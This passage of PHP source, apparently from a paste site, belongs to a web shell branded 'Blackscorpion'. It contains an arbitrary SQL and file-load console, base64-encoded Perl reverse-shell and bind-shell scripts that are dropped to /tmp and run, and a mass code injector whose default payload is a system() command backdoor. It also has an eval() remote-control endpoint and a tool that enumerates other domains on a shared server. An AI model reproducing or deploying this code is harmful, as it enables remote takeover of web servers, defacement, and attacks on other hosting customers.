  3195. $tbls_res = $db->listTables();
  3196. while($item = $db->fetch($tbls_res)) {
  3197. list($key, $value) = each($item);
  3198. if(!empty($_POST['sql_count']))
  3199. $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
  3200. $value = htmlspecialchars($value);
  3201. echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'>&nbsp;<a href=# onclick=\"st('".$value."',1)\">".$value."</a>" . (empty($_POST['sql_count'])?'&nbsp;':" <small>({$n['n']})</small>") . "</nobr><br>";
  3202. }
  3203. echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";
  3204. if(@$_POST['p1'] == 'select') {
  3205. $_POST['p1'] = 'query';
  3206. $_POST['p3'] = $_POST['p3']?$_POST['p3']:1;
  3207. $db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']);
  3208. $num = $db->fetch();
  3209. $pages = ceil($num['n'] / 30);
  3210. echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['p2'] . "\", d.sf.p3.value)}</script><span>".$_POST['p2']."</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . ((int)$_POST['p3']) . ">";
  3211. echo " of $pages";
  3212. if($_POST['p3'] > 1)
  3213. echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']-1) . ")'>&lt; Prev</a>";
  3214. if($_POST['p3'] < $pages)
  3215. echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']+1) . ")'>Next &gt;</a>";
  3216. $_POST['p3']--;
  3217. if($_POST['type']=='pgsql')
  3218. $_POST['p2'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
  3219. else
  3220. $_POST['p2'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
  3221. echo "<br><br>";
  3222. }
  3223. if((@$_POST['p1'] == 'query') && !empty($_POST['p2'])) {
  3224. $db->query(@$_POST['p2']);
  3225. if($db->res !== false) {
  3226. $title = false;
  3227. echo '<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">';
  3228. $line = 1;
  3229. while($item = $db->fetch()) {
  3230. if(!$title) {
  3231. echo '<tr>';
  3232. foreach($item as $key => $value)
  3233. echo '<th>'.$key.'</th>';
  3234. reset($item);
  3235. $title=true;
  3236. echo '</tr><tr>';
  3237. $line = 2;
  3238. }
  3239. echo '<tr class="l'.$line.'">';
  3240. $line = $line==1?2:1;
  3241. foreach($item as $key => $value) {
  3242. if($value == null)
  3243. echo '<td><i>null</i></td>';
  3244. else
  3245. echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
  3246. }
  3247. echo '</tr>';
  3248. }
  3249. echo '</table>';
  3250. } else {
  3251. echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
  3252. }
  3253. }
  3254. echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";
  3255. if(!empty($_POST['p2']) && ($_POST['p1'] != 'loadfile'))
  3256. echo htmlspecialchars($_POST['p2']);
  3257. echo "</textarea><br/><input type=submit value='Execute'>";
  3258. echo "</td></tr>";
  3259. }
  3260. echo "</table></form><br/>";
  3261. if($_POST['type']=='mysql') {
  3262. $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
  3263. if($db->fetch())
  3264. echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
  3265. }
  3266. if(@$_POST['p1'] == 'loadfile') {
  3267. $file = $db->loadFile($_POST['p2']);
  3268. echo '<br/><pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
  3269. }
  3270. } else {
  3271. echo htmlspecialchars($db->error());
  3272. }
  3273. echo '</div>';
  3274. BlackscorpionFooter();
  3275. }
  3276. function actionNetwork() {
  3277. BlackscorpionHeader();
  3278. $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
  3279. $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
  3280. echo "<center><h1>Back Connecter Via Perl</h1></center><div class=content>
  3281. <form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\">
  3282. <span>Bind port to /bin/sh [perl]</span><br/>
  3283. Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
  3284. </form>
  3285. <form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\">
  3286. <span>Back-connect [perl]</span><br/>
  3287. Server: <input type='text' name='server' value='". $_SERVER['REMOTE_ADDR'] ."'> Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
  3288. </form><br>";
  3289. if(isset($_POST['p1'])) {
  3290. function cf($f,$t) {
  3291. $w = @fopen($f,"w") or @function_exists('file_put_contents');
  3292. if($w){
  3293. @fwrite($w,@base64_decode($t));
  3294. @fclose($w);
  3295. }
  3296. }
  3297. if($_POST['p1'] == 'bpp') {
  3298. cf("/tmp/bp.pl",$bind_port_p);
  3299. $out = BlackscorpionEx("perl /tmp/bp.pl ".$_POST['p2']." 1>/dev/null 2>&1 &");
  3300. sleep(1);
  3301. echo "<pre class=ml1>$out\n".BlackscorpionEx("ps aux | grep bp.pl")."</pre>";
  3302. unlink("/tmp/bp.pl");
  3303. }
  3304. if($_POST['p1'] == 'bcp') {
  3305. cf("/tmp/bc.pl",$back_connect_p);
  3306. $out = BlackscorpionEx("perl /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." 1>/dev/null 2>&1 &");
  3307. sleep(1);
  3308. echo "<pre class=ml1>$out\n".BlackscorpionEx("ps aux | grep bc.pl")."</pre>";
  3309. unlink("/tmp/bc.pl");
  3310. }
  3311. }
  3312.  
  3313. echo '</div>';
  3314. BlackscorpionFooter();
  3315. }
  3316. function actionInjector(){
  3317. BlackscorpionHeader();
  3318. echo '<center><h1>Mass Code Injector</h1></center>';
  3319. echo '<div class="content">';
  3320.  
  3321. if(stristr(php_uname(),"Windows")) { $DS = "\\"; } else if(stristr(php_uname(),"Linux")) { $DS = '/'; }
  3322. function get_structure($path,$depth) {
  3323. global $DS;
  3324. $res = array();
  3325. if(in_array(0, $depth)) { $res[] = $path; }
  3326. if(in_array(1, $depth) or in_array(2, $depth) or in_array(3, $depth)) {
  3327. $tmp1 = glob($path.$DS.'*',GLOB_ONLYDIR);
  3328. if(in_array(1, $depth)) { $res = array_merge($res,$tmp1); }
  3329. }
  3330. if(in_array(2, $depth) or in_array(3, $depth)) {
  3331. $tmp2 = array();
  3332. foreach($tmp1 as $t){
  3333. $tp2 = glob($t.$DS.'*',GLOB_ONLYDIR);
  3334. $tmp2 = array_merge($tmp2, $tp2);
  3335. }
  3336. if(in_array(2, $depth)) { $res = array_merge($res,$tmp2); }
  3337. }
  3338. if(in_array(3, $depth)) {
  3339. $tmp3 = array();
  3340. foreach($tmp2 as $t){
  3341. $tp3 = glob($t.$DS.'*',GLOB_ONLYDIR);
  3342. $tmp3 = array_merge($tmp3, $tp3);
  3343. }
  3344. $res = array_merge($res,$tmp3);
  3345. }
  3346. return $res;
  3347. }
  3348. if(isset($_POST['submit']) && $_POST['submit']=='Inject') {
  3349. $name = $_POST['name'] ? $_POST['name'] : '*';
  3350. $type = $_POST['type'] ? $_POST['type'] : 'html';
  3351. $path = $_POST['path'] ? $_POST['path'] : getcwd();
  3352. $code = $_POST['code'] ? $_POST['code'] : 'Team ProBros | Blackscorpion';
  3353. $mode = $_POST['mode'] ? $_POST['mode'] : 'a';
  3354. $depth = sizeof($_POST['depth']) ? $_POST['depth'] : array('0');
  3355. $dt = get_structure($path,$depth);
  3356. foreach ($dt as $d) {
  3357. if($mode == 'a') {
  3358. if(file_put_contents($d.$DS.$name.'.'.$type, $code, FILE_APPEND)) {
  3359. echo '<div><strong>'.$d.$DS.$name.'.'.$type.'</strong><span style="color:#df5;"> are injected</span></div>';
  3360. } else {
  3361. echo '<div><span style="color:red;">failed to inject</span> <strong>'.$d.$DS.$name.'.'.$type.'</strong></div>';
  3362. }
  3363. } else {
  3364. if(file_put_contents($d.$DS.$name.'.'.$type, $code)) {
  3365. echo '<div><strong>'.$d.$DS.$name.'.'.$type.'</strong><span style="color:#df5;"> are injected</span></div>';
  3366. } else {
  3367. echo '<div><span style="color:red;">failed to inject</span> <strong>'.$d.$DS.$name.'.'.$type.'</strong></div>';
  3368. }
  3369. }
  3370. }
  3371. } else {
  3372. echo '<form method="post" action="">
  3373. <table align="center">
  3374. <tr>
  3375. <td>Directory : </td>
  3376. <td><input class="box" name="path" value="'.getcwd().'" size="50"/></td>
  3377. </tr>
  3378. <tr>
  3379. <td class="title">Mode : </td>
  3380. <td>
  3381. <select style="width: 100px;" name="mode" class="box">
  3382. <option value="a">Apender</option>
  3383. <option value="w">Overwriter</option>
  3384. </select>
  3385. </td>
  3386. </tr>
  3387. <tr>
  3388. <td class="title">File Name & Type : </td>
  3389. <td>
  3390. <input type="text" style="width: 100px;" name="name" value="index"/>&nbsp;&nbsp;
  3391. <select style="width: 100px;" name="type" class="box">
  3392. <option value="html">HTML</option>
  3393. <option value="htm">HTM</option>
  3394. <option value="php" selected="selected">PHP</option>
  3395. <option value="asp">ASP</option>
  3396. <option value="aspx">ASPX</option>
  3397. <option value="xml">XML</option>
  3398. <option value="txt">TXT</option>
  3399. </select></td>
  3400. </tr>
  3401. <tr>
  3402. <td class="title">Code Inject Depth : </td>
  3403. <td>
  3404. <input type="checkbox" name="depth[]" value="0" checked="checked"/>&nbsp;0&nbsp;&nbsp;
  3405. <input type="checkbox" name="depth[]" value="1"/>&nbsp;1&nbsp;&nbsp;
  3406. <input type="checkbox" name="depth[]" value="2"/>&nbsp;2&nbsp;&nbsp;
  3407. <input type="checkbox" name="depth[]" value="3"/>&nbsp;3
  3408. </td>
  3409. </tr>
  3410. <tr>
  3411. <td colspan="2"><textarea name="code" cols="70" rows="10" class="box"><?php
  3412. if (isset($_REQUEST["cmd"])) {
  3413. system($_REQUEST["cmd"]);
  3414. }
  3415. ?></textarea></td>
  3416. </tr>
  3417. <tr>
  3418. <td colspan="2" style="text-align: center;">
  3419. <input type="hidden" name="a" value="Injector">
  3420. <input type="hidden" name="c" value="'.htmlspecialchars($GLOBALS['cwd']).'">
  3421. <input type="hidden" name="p1">
  3422. <input type="hidden" name="p2">
  3423. <input type="hidden" name="charset" value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
  3424. <input style="padding :5px; width:100px;" name="submit" type="submit" value="Inject"/></td>
  3425. </tr>
  3426. </table>
  3427. </form>';
  3428. }
  3429. echo '</div>';
  3430. BlackscorpionFooter();
  3431. }
  3432. function actionRC() {
  3433. if(!@$_POST['p1']) {
  3434. $a = array(
  3435. "uname" => php_uname(),
  3436. "php_version" => phpversion(),
  3437. "Blackscorpion_version" => Blackscorpion_VERSION,
  3438. "safemode" => @ini_get('safe_mode')
  3439. );
  3440. echo serialize($a);
  3441. } else {
  3442. eval($_POST['p1']);
  3443. }
  3444. }
  3445. function actionDomain() {
  3446. BlackscorpionHeader();
  3447. echo '<center><h1>Local Domains</h1></center><div class=content><br>';
  3448. $file = @implode(@file("/etc/named.conf"));
  3449. $Domain_path = "/var/named";
  3450. if (!$file) {
  3451. $domains = scandir($Domain_path);
  3452. $count=1;
  3453. $dc = 0;
  3454. echo "<table align=center border=1 width=59% cellpadding=5>
  3455. <tr><td colspan=2><center>There are : ( <b>" . count($domains) . "</b> ) Domains in this Sever.</center></td></tr>
  3456. <tr><td>No</td><td>Domain</td><td>User</td></tr>";
  3457. foreach ($domains as &$domain) {
  3458. if (stripos($domain,".db")) {
  3459. $domain = str_replace('.db','',$domain);
  3460. }
  3461. if (strlen($domain) > 6) {
  3462.  
  3463. echo "<tr><td>".$count++."</td><td><a href='http://".$domain."' target='_blank'>".$domain."</a></td><td>User</td></tr>";
  3464. }
  3465.  
  3466. }
  3467. echo "</table>";
  3468. }else{
  3469. $count = 1;
  3470. preg_match_all("#named/(.*?).db#", $file, $r);
  3471. $domains = array_unique($r[1]);
  3472. echo "<table align=center border=1 width=59% cellpadding=5>
  3473. <tr><td colspan=2> There are ( <b>" . count($domains) . "</b> ) Domains in this Sever.I think you have got something this time yeah!!!.</td></tr>
  3474. <tr><td>No</td><td>Domain</td><td>User</td></tr>";
  3475. foreach ($domains as $domain) {
  3476. $user = posix_getpwuid(@fileowner("/etc/valiases/" . $domain));
  3477. echo "<tr><td>".$count++."</td><td><a href='http://".$domain."' target='_blank'>".$domain."</a></td><td>".$user['name']."</td></tr>";
  3478. }
  3479. }
  3480.  
  3481. BlackscorpionFooter();
  3482. }
  3483. if( empty($_POST['a']) )
  3484. if(isset($default_action) && function_exists('action' . $default_action))
  3485. $_POST['a'] = $default_action;
  3486. else
  3487. $_POST['a'] = 'SecInfo';
  3488. if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
  3489. call_user_func('action' . $_POST['a']);
  3490. exit;
  3491. ?>
Add Comment
Please, Sign In to add comment